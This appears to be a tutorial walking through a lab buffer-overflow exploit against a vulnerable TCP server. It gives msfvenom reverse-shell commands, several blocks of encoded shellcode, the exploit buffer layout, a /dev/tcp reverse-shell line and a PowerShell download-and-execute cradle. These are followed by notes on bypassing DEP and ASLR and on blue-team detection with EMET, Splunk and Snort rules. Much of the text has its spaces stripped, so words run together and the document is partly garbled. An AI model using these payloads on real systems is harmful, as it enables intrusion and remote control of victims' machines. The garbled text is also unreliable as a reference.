encodedcommandthatthekernelcaninterpret

binsh-igtampdevtcp12700144440gtamp1

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

x86encodedShellCode

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01

xd8x7dxf3xdcx9b

TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully

understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally

worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders

- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform

- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina

singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos

ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is

malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced

- f=formathellipThatcanberawCJSPshelletcetc

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

learn and see where it takes me As a newcomer maybe this will help paint a better picture of cyber-security as a whole Because BOrsquos

are memory attacks it can be difficult to detect unless you have a low level program monitoring for Canary issues NX issues

SEGVFAULT x90rsquos ROPs etc Windows has offered EMET historically and more recently offered an IPSIDS in Windows Defender to

Enterprise There are also some ldquoNext Genrdquo IDSIPS that install in kernel space which have the logic to look for such events As I

thoughtthroughthisIlumpedthedetectionintotwobuckets

1 DetectingFailedBufferOverflowAttempts

2 DetectingSuccessfullyBufferOverflowAttempts

DetectingFailedBufferOverAttemptsinWindows

If you want to hunt attackers who attempt buffer overflow you can turn to the logs For examples EMET (Windows ASLRDEP) events

are logged as a Windows event source called EMET More modern Windows Defender Exploit Guard follows a similar pattern as the

oneIrsquomgoingtooutlineEMETDefenderlogscanbefoundintheWindowsApplicationlog

For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

